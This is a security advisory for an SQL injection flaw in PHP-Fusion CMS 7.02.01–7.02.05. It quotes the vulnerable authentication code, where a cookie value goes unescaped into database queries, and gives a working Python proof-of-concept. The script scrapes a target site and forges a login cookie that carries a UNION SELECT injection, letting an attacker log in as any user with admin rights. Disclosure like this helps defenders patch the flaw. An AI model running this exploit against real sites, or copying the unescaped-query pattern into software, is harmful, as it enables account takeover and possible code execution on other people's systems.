SQL Injection vulnerability exists in releases since 7.02.01 till 7.02.05 of PHP-Fusion CMS. The vulnerability allows the attacker to authenticate as an arbitrary user and act with its rights which might lead to the code execution. Because of exploitation simplicity, the potential risk is very high. Magic Quotes feature protects against this coding flaw. Version 7.02.06 fixes presented security problem.

Affected file: includes/classes/Authenticate.class.php
023: define("COOKIE_USER", COOKIE_PREFIX."user");
024: define("COOKIE_ADMIN", COOKIE_PREFIX."admin");
147: $cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]);
150: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;
153: $result = dbquery(
154: "SELECT * FROM ".DB_USERS."
155: WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0'
156: LIMIT 1"
157: );
195: $cookieDataArr = explode(".", $_COOKIE[COOKIE_ADMIN]);
197: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;
200: $result = dbquery(
201: "SELECT user_admin_algo, user_admin_salt FROM ".DB_USERS."
202: WHERE user_id='".$userID."' AND user_level>101 AND user_status='0' AND user_actiontime='0'
203: LIMIT 1"
204: );

Proof of Concept

PHP-Fusion 7.02.05

Authentication spoofing

Author: vnd at vndh.net

from http import client
from time import time
import hashlib
import hmac
import re

def generateCookie(address, path, userid, password = 'admin'):
connection = client.HTTPConnection(address)
connection.request("GET", "%s/profile.php?lookup=%d" % (path, userid))
response = connection.getresponse()
if response.status != 200: raise BaseException("bad status")
cookies = response.getheader("Set-Cookie")
pattern = re.compile("([A-Z0-9\_]+)lastvisit", re.IGNORECASE)
cookiesearch = pattern.search(cookies)
if cookiesearch == None: raise BaseException("bad cookie")
cookiename = cookiesearch.groups()
cookiename = "%suser" % cookiename[0]
source = response.read()
connection.close()
source = source.decode("utf-8")
pattern = re.compile("<!–profile_user_name–>(.*)<")
username = pattern.search(source).groups()
username = username[0]

injection = "-1' union select %d,'%s','sha256','','%s'%s,101%s – " % (userid, username, password, ",0" * 15,",0" * 12)
expiration = str(int(time() + 86400))
userhash = ""
userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest()
userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest()

return (cookiename, ".".join([injection, expiration, userhash]))

Reference: https://vndh.net/note:php-fusion-70205-sql-injection
Patched version: http://www.php-fusion.co.uk/downloads.php?cat_id=23&amp;download_id=264